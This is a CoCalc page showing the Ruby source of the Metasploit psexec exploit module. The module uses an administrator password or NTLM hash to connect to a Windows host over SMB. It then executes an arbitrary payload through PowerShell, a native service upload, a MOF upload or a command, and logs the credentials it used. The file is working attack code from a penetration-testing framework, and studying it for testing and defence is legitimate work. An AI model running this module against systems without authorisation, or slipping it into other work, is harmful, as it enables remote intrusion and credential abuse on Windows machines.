CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/psexec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
# Windows XP systems that are not part of a domain default to treating all
7
# network logons as if they were Guest. This prevents SMB relay attacks from
8
# gaining administrative access to these systems. This setting can be found
9
# under:
10
#
11
# Local Security Settings >
12
# Local Policies >
13
# Security Options >
14
# Network Access: Sharing and security model for local accounts
15
16
class MetasploitModule < Msf::Exploit::Remote
17
Rank = ManualRanking
18
19
include Msf::Exploit::Remote::SMB::Client::Psexec
20
include Msf::Exploit::Powershell
21
include Msf::Exploit::EXE
22
include Msf::Exploit::WbemExec
23
include Msf::Auxiliary::Report
24
include Msf::OptionalSession::SMB
25
26
def initialize(info = {})
27
super(update_info(info,
28
'Name' => 'Microsoft Windows Authenticated User Code Execution',
29
'Description' => %q{
30
This module uses a valid administrator username and password (or
31
password hash) to execute an arbitrary payload. This module is similar
32
to the "psexec" utility provided by SysInternals. This module is now able
33
to clean up after itself. The service created by this tool uses a randomly
34
chosen name and description.
35
},
36
'Author' =>
37
[
38
'hdm',
39
'Royce Davis <rdavis[at]accuvant.com>', # (@R3dy__) PSExec command module
40
'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders
41
],
42
'License' => MSF_LICENSE,
43
'Privileged' => true,
44
'DefaultOptions' =>
45
{
46
'WfsDelay' => 10,
47
'EXITFUNC' => 'thread'
48
},
49
'References' =>
50
[
51
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
52
[ 'OSVDB', '3106'],
53
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ],
54
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
55
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ]
56
],
57
'Payload' =>
58
{
59
'Space' => 3072,
60
'DisableNops' => true
61
},
62
'Platform' => 'win',
63
'Targets' =>
64
[
65
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
66
[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
67
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
68
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
69
[ 'Command', { 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 8191 } } ]
70
],
71
'DefaultTarget' => 0,
72
# For the CVE, PsExec was first released around February or March 2001
73
'DisclosureDate' => '1999-01-01'
74
))
75
76
register_options(
77
[
78
OptString.new('SMBSHARE', [false, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", ''], aliases: ['SHARE'])
79
])
80
81
register_advanced_options(
82
[
83
OptBool.new('ALLOW_GUEST', [true, 'Keep trying if only given guest access', false]),
84
OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
85
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
86
OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
87
])
88
end
89
90
def native_upload_with_workaround(smbshare)
91
service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
92
service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''
93
94
# Avoid implementing NTLMSSP on Windows XP
95
# https://seclists.org/metasploit/2009/q1/6
96
if smb_peer_os == "Windows 5.1"
97
connect(versions: [1])
98
smb_login
99
end
100
native_upload(smbshare, service_filename, service_encoder)
101
end
102
103
def validate_service_stub_encoder!
104
service_encoder = datastore['SERVICE_STUB_ENCODER']
105
return if service_encoder.nil? || service_encoder.empty?
106
107
encoder = framework.encoders[service_encoder]
108
if encoder.nil?
109
raise Msf::OptionValidateError.new(
110
{
111
'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
112
}
113
)
114
end
115
end
116
117
def exploit
118
validate_service_stub_encoder!
119
120
# automatically select an SMB share unless one is explicitly specified
121
if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?
122
smbshare = datastore['SMBSHARE']
123
elsif target.name == 'Command'
124
smbshare = 'C$'
125
else
126
smbshare = 'ADMIN$'
127
end
128
129
create_simple_smb_client!
130
131
case target.name
132
when 'Automatic'
133
if powershell_installed?(smbshare, datastore['PSH_PATH'])
134
print_status('Selecting PowerShell target')
135
execute_powershell_payload
136
else
137
print_status('Selecting native target')
138
native_upload_with_workaround(smbshare)
139
end
140
when 'PowerShell'
141
execute_powershell_payload
142
when 'Native upload'
143
native_upload_with_workaround(smbshare)
144
when 'MOF upload'
145
mof_upload(smbshare)
146
when 'Command'
147
execute_command_payload(smbshare)
148
end
149
150
handler
151
disconnect
152
end
153
154
def report_auth
155
service_data = {
156
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
157
port: datastore['RPORT'],
158
service_name: 'smb',
159
protocol: 'tcp',
160
workspace_id: myworkspace_id
161
}
162
163
credential_data = {
164
origin_type: :service,
165
module_fullname: self.fullname,
166
private_data: datastore['SMBPass'],
167
username: datastore['SMBUser'].downcase
168
}
169
170
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
171
credential_data.merge!({
172
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
173
realm_value: datastore['SMBDomain']
174
})
175
end
176
177
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
178
credential_data.merge!({:private_type => :ntlm_hash})
179
else
180
credential_data.merge!({:private_type => :password})
181
end
182
183
credential_data.merge!(service_data)
184
185
credential_core = create_credential(credential_data)
186
187
login_data = {
188
access_level: 'Admin',
189
core: credential_core,
190
last_attempted_at: DateTime.now,
191
status: Metasploit::Model::Login::Status::SUCCESSFUL
192
}
193
194
login_data.merge!(service_data)
195
create_credential_login(login_data)
196
end
197
198
def create_simple_smb_client!
199
if session
200
print_status("Using existing session #{session.sid}")
201
client = session.client
202
self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)
203
204
else
205
print_status('Connecting to the server...')
206
connect
207
208
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
209
smb_login
210
211
if !simple.client.auth_user && !datastore['ALLOW_GUEST']
212
print_line
213
print_error(
214
'FAILED! The remote host has only provided us with Guest privileges. ' \
215
'Please make sure that the correct username and password have been provided. ' \
216
'Windows XP systems that are not part of a domain will only provide Guest privileges ' \
217
'to network logins by default.'
218
)
219
print_line
220
disconnect
221
return
222
end
223
224
unless datastore['SMBUser'].to_s.strip.empty?
225
report_auth
226
end
227
228
end
229
end
230
end
231
232